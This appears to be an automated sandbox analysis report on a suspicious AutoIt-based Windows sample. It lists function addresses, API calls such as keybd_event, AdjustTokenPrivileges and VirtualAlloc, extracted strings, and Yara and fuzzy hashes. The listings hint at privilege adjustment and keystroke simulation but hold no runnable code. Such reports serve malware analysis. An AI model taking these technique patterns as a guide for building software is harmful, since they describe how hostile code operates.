Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7eaf1c21f220819cd8c25ef7c7883ecb49b2a5268264fc0d77fd11462a92c0d3
Instruction ID: 3b239db765f03f7347140ec84f3722eaa1e91c54fc66fcbfc63ae0cb1d97d89a
Opcode Fuzzy Hash: 7eaf1c21f220819cd8c25ef7c7883ecb49b2a5268264fc0d77fd11462a92c0d3
Instruction Fuzzy Hash: 4C113A75200B059FD3208F19C8A8BA6B7E6EF44761F10C92EE99B86A51D771E849CB60

Function 00655A7A Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0068DD18

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 37c3bb1f29870e84f0749f53f84cc2f20e31eb940535627f726d211e13bb0f16
Instruction ID: 0f445635e36040174870d5a3d165e99d19edd09042c83fa0c2a0ded25f5f9e4c
Opcode Fuzzy Hash: 37c3bb1f29870e84f0749f53f84cc2f20e31eb940535627f726d211e13bb0f16
Instruction Fuzzy Hash: A1017CB5200A42AFC305EB68C455D26F7AAFF8A3107148569F819C7702DB35EC21CBE4

Function 00674863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 006748A6

Part of subcall function 00678B28: __getptd_noexit.LIBCMT ref: 00678B28

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: 2f079344d85a71cef258a2405812345c3caeb190018816255ecc9a77eb55386a
Instruction ID: 6c31ca9e1915eedb9e1436acc87a8db85658587eaefe440ac43e83c0f3cccf5e
Opcode Fuzzy Hash: 2f079344d85a71cef258a2405812345c3caeb190018816255ecc9a77eb55386a
Instruction Fuzzy Hash: CFF08C71940609EBDB91AFA4880E7EE36A2AF00325F15C518F42C9B291CF79C951DB56

Function 00654E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,007152F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00654E7E

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: a7f744f32945348ff980a0f4f835cfffadd7d7b94e6ee8ffd8c1cbca47c1a339
Instruction ID: f26c3e124e5851d6ae0217822b567d76b799d88b5e698408dbb3b58269c87d81
Opcode Fuzzy Hash: a7f744f32945348ff980a0f4f835cfffadd7d7b94e6ee8ffd8c1cbca47c1a339
Instruction Fuzzy Hash: 75F03071505751CFCB349F64E495856B7E2BF1432A72089BEE6D782621CB719888DF40

Function 00670791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 006707B0

Part of subcall function 00657BCC: _memmove.LIBCMT ref: 00657C06

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 8def58c31d4acd308bdf3c9ae5d42c125952040a1c8b55639211acbadb7685df
Instruction ID: 457d93877ad780ecfbcafa18c14e80809e602588a40f91871851e8a732dfae2b
Opcode Fuzzy Hash: 8def58c31d4acd308bdf3c9ae5d42c125952040a1c8b55639211acbadb7685df
Instruction Fuzzy Hash: 97E0CD3690512857C720E6999C05FEA77DEDF897A1F0441F6FC0CD7244D9609D8086D4

Function 006B8E9F Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 006B8EC1

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction ID: 71c92081a15c223e8b41ac689c2f6b08bf67637418b1cd08650e1a53f54734a1
Opcode Fuzzy Hash: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction Fuzzy Hash: 7DE092B0104B045FD7388A24D840BE373E6AB05304F00085DF2AA83341EBA3B882C759

Function 00655C4E Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001,?,?,?,0068DD42,?,?,00000000), ref: 00655C5F

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: c6ac195b14ec81b066d1accb97d6907b0b92a6d926caa5929ca9f59192f8dab9
Instruction ID: 62be7f704cae78d717af59a5219fc28651c71528bb53a3a82481e17ddfeb7fcd
Opcode Fuzzy Hash: c6ac195b14ec81b066d1accb97d6907b0b92a6d926caa5929ca9f59192f8dab9
Instruction Fuzzy Hash: B2D0C77464020CBFE710DB80DC46FA9777DD745710F100195FD0456290D6B27D508795

Function 0067525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00675266

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 760221b91cc9f9b0202a97603a3fea3426845fdb97a2a1db4a51474c97fc2115
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 12B0927644020C77CE012A82EC02A493B1A9B41764F408060FB1C18162E6B3A6649A89

Function 006BD07B Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 006BD1FF

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: e1d3f15a1119d71fbe60f1ac46bf8fbb59bf77b9e3dc2642b7b18b551afb65a3
Instruction ID: 0cd8d24ffd93ad1d1160ada8f18262b136ee06113c1dae18d27e1e3480a0c4fa
Opcode Fuzzy Hash: e1d3f15a1119d71fbe60f1ac46bf8fbb59bf77b9e3dc2642b7b18b551afb65a3
Instruction Fuzzy Hash: C3718270204341CFC754EF68C491AAAB7E2EF89314F04492DF9969B3A1DB30EE49CB56

Function 00670C08 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00670CB7

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 2e2ccb1a9763124fc58dfdca80ab3e084dd7a8c976d75ea93164517429f9d6ac
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 2631A274A00105DBE71ADF58C484AA9FBA6FB59300B64C7A5E80ACB355D631EDC2DBA0

Function 032D22A0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 032D22B1

Memory Dump Source

Source File: 00000000.00000002.1379067181.00000000032D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32d0000_wWXR5js3k2.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: af5f08219b88903d9daeb51d5da6ed02c031f28f9b0afd97ff9c0b28b98fffb3
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: DDE0E67594020EDFDB00EFB8D94D69E7FB4EF04301F1005A1FD01D2280D6309D509A72

Non-executed Functions

Function 006DCABC Relevance: 79.4, APIs: 40, Strings: 5, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00652612: GetWindowLongW.USER32(?,000000EB), ref: 00652623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 006DCB37
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 006DCB95
GetWindowLongW.USER32(?,000000F0), ref: 006DCBD6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 006DCC00
SendMessageW.USER32 ref: 006DCC29
_wcsncpy.LIBCMT ref: 006DCC95
GetKeyState.USER32(00000011), ref: 006DCCB6
GetKeyState.USER32(00000009), ref: 006DCCC3
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 006DCCD9
GetKeyState.USER32(00000010), ref: 006DCCE3
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 006DCD0C
SendMessageW.USER32 ref: 006DCD33
SendMessageW.USER32(?,00001030,?,006DB348), ref: 006DCE37
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 006DCE4D
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 006DCE60
SetCapture.USER32(?), ref: 006DCE69
ClientToScreen.USER32(?,?), ref: 006DCECE
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 006DCEDB
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 006DCEF5
ReleaseCapture.USER32 ref: 006DCF00
GetCursorPos.USER32(?), ref: 006DCF3A
ScreenToClient.USER32(?,?), ref: 006DCF47
SendMessageW.USER32(?,00001012,00000000,?), ref: 006DCFA3
SendMessageW.USER32 ref: 006DCFD1
SendMessageW.USER32(?,00001111,00000000,?), ref: 006DD00E
SendMessageW.USER32 ref: 006DD03D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 006DD05E
SendMessageW.USER32(?,0000110B,00000009,?), ref: 006DD06D
GetCursorPos.USER32(?), ref: 006DD08D
ScreenToClient.USER32(?,?), ref: 006DD09A
GetParent.USER32(?), ref: 006DD0BA
SendMessageW.USER32(?,00001012,00000000,?), ref: 006DD123
SendMessageW.USER32 ref: 006DD154
ClientToScreen.USER32(?,?), ref: 006DD1B2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 006DD1E2
SendMessageW.USER32(?,00001111,00000000,?), ref: 006DD20C
SendMessageW.USER32 ref: 006DD22F
ClientToScreen.USER32(?,?), ref: 006DD281
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 006DD2B5

Part of subcall function 006525DB: GetWindowLongW.USER32(?,000000EB), ref: 006525EC

GetWindowLongW.USER32(?,000000F0), ref: 006DD351

Strings

@U=u, xrefs: 006DCB95, 006DCC00, 006DCC29, 006DCCD9, 006DCD0C, 006DCD33, 006DCE37, 006DCFA3, 006DCFD1, 006DD00E, 006DD03D, 006DD123, 006DD154, 006DD20C, 006DD22F
pbq, xrefs: 006DCEAF
@GUI_DRAGID, xrefs: 006DCE9C
F, xrefs: 006DD235
hW, xrefs: 006DCC5F, 006DCDBA, 006DCDDD, 006DCE0F, 006DCF5F, 006DD0E0, 006DD18C, 006DD1BC, 006DD25F, 006DD28B, 006DD2DB, 006DD33E, 006DD362, 006DD38C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$@U=u$F$hW$pbq
API String ID: 3977979337-816998740
Opcode ID: 513cf09eb43c6d8b580535ba0dd5ef405c5c670e5c5cb6839769f8dd8e66ae84
Instruction ID: 2a520e307d7ebbb46f34b50c3774618ae67cca07ad9be2e60b3f37a0db9ccb6e
Opcode Fuzzy Hash: 513cf09eb43c6d8b580535ba0dd5ef405c5c670e5c5cb6839769f8dd8e66ae84
Instruction Fuzzy Hash: 1942BC34A04246EFD724DF28C855EAABBE6FF49320F14452EF696873A0C731D845DB52

Function 00666F9E Relevance: 55.8, APIs: 19, Strings: 10, Instructions: 5018COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 006671C3
_memset.LIBCMT ref: 00667539
_memmove.LIBCMT ref: 006676AC

Strings

_f, xrefs: 006A23CB
\b(?<=\w), xrefs: 006A3773
[:<:]], xrefs: 00667479
[:>:]], xrefs: 00667492
3cf, xrefs: 006A23A0
DEFINE, xrefs: 006A2103
]p, xrefs: 006A1A22
Q\E, xrefs: 00667FCB
\b(?=\w), xrefs: 006A3769
P\p, xrefs: 006A1AB8

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memmove$_memset
String ID: ]p$3cf$DEFINE$P\p$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)$_f
API String ID: 1357608183-3667214126
Opcode ID: 5538ba64af562bc9612e9bd93b575b419457f5e2ed16bb24b1185a8b84bb7a3c
Instruction ID: c2c43d153684dde6909e2df395620043fd685022df39272e94024c89e5a49ab3
Opcode Fuzzy Hash: 5538ba64af562bc9612e9bd93b575b419457f5e2ed16bb24b1185a8b84bb7a3c
Instruction Fuzzy Hash: 62938171A40216DBDB24DF58C891BEDB7B2FF49314F24816AE945AB381E7709E82CF50

Function 006548D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 006548DF
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0068D665
IsIconic.USER32(?), ref: 0068D66E
ShowWindow.USER32(?,00000009), ref: 0068D67B
SetForegroundWindow.USER32(?), ref: 0068D685
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0068D69B
GetCurrentThreadId.KERNEL32 ref: 0068D6A2
GetWindowThreadProcessId.USER32(?,00000000), ref: 0068D6AE
AttachThreadInput.USER32(?,00000000,00000001), ref: 0068D6BF
AttachThreadInput.USER32(?,00000000,00000001), ref: 0068D6C7
AttachThreadInput.USER32(00000000,?,00000001), ref: 0068D6CF
SetForegroundWindow.USER32(?), ref: 0068D6D2
MapVirtualKeyW.USER32(00000012,00000000), ref: 0068D6E7
keybd_event.USER32(00000012,00000000), ref: 0068D6F2
MapVirtualKeyW.USER32(00000012,00000000), ref: 0068D6FC
keybd_event.USER32(00000012,00000000), ref: 0068D701
MapVirtualKeyW.USER32(00000012,00000000), ref: 0068D70A
keybd_event.USER32(00000012,00000000), ref: 0068D70F
MapVirtualKeyW.USER32(00000012,00000000), ref: 0068D719
keybd_event.USER32(00000012,00000000), ref: 0068D71E
SetForegroundWindow.USER32(?), ref: 0068D721
AttachThreadInput.USER32(?,?,00000000), ref: 0068D748

Strings

Shell_TrayWnd, xrefs: 0068D660

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: b59e8af75762f9fe2d23fb2f4699ae4cf22372fb160a652124e8162ccad44891
Instruction ID: 5afaa193d60d4ba910c72c86161a289cc772d62458604409269c2b787dbf4dc0
Opcode Fuzzy Hash: b59e8af75762f9fe2d23fb2f4699ae4cf22372fb160a652124e8162ccad44891
Instruction Fuzzy Hash: 24319371A41318BAEB202B619C49FBF3F6EEB44B50F104066FA05EA1D1CAB05941ABA0

Function 006A8310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 006A87E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 006A882B
Part of subcall function 006A87E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 006A8858
Part of subcall function 006A87E1: GetLastError.KERNEL32 ref: 006A8865

_memset.LIBCMT ref: 006A8353
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 006A83A5
CloseHandle.KERNEL32(?), ref: 006A83B6
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 006A83CD
GetProcessWindowStation.USER32 ref: 006A83E6
SetProcessWindowStation.USER32(00000000), ref: 006A83F0
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 006A840A

Part of subcall function 006A81CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,006A8309), ref: 006A81E0
Part of subcall function 006A81CB: CloseHandle.KERNEL32(?,?,006A8309), ref: 006A81F2

Strings

default, xrefs: 006A8405
, xrefs: 006A8362
winsta0, xrefs: 006A83C8

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 5a6ebe52326eae971557cdd18fb53b4369a18a30c8067e700f6d3c515f31dc40
Instruction ID: 2022a32b1890fef311f30f57d58ee3ad8a74d9961e30bfcd064f235eb4885217
Opcode Fuzzy Hash: 5a6ebe52326eae971557cdd18fb53b4369a18a30c8067e700f6d3c515f31dc40
Instruction Fuzzy Hash: 528158B1D01249AFDF51AFA4CC45AEEBBBAEF05304F14816AF815A3261DB319E14DF20

Function 006BC75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 006BC78D
FindClose.KERNEL32(00000000), ref: 006BC7E1
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 006BC806
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 006BC81D
FileTimeToSystemTime.KERNEL32(?,?), ref: 006BC844
__swprintf.LIBCMT ref: 006BC890
__swprintf.LIBCMT ref: 006BC8D3

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

__swprintf.LIBCMT ref: 006BC927

Part of subcall function 00673698: __woutput_l.LIBCMT ref: 006736F1

__swprintf.LIBCMT ref: 006BC975

Part of subcall function 00673698: __flsbuf.LIBCMT ref: 00673713
Part of subcall function 00673698: __flsbuf.LIBCMT ref: 0067372B

__swprintf.LIBCMT ref: 006BC9C4
__swprintf.LIBCMT ref: 006BCA13
__swprintf.LIBCMT ref: 006BCA62

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 006BC88A
%4d, xrefs: 006BC8CD
%02d, xrefs: 006BC91B, 006BC925, 006BC973, 006BC9C2, 006BCA11, 006BCA60

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 88a31c967b7c4051f2ff0fe57707b9adf664920d9dd994d1b4f609054d782735
Instruction ID: 3019fd18110c981ea5d2b787ce4378574b1edd23b9c9dcdd35796b9b6455c3ef
Opcode Fuzzy Hash: 88a31c967b7c4051f2ff0fe57707b9adf664920d9dd994d1b4f609054d782735
Instruction Fuzzy Hash: BEA13EB1404345ABC740EFA4C886DAFB7EEBF94701F40491EF99586291EB34DA48CB66

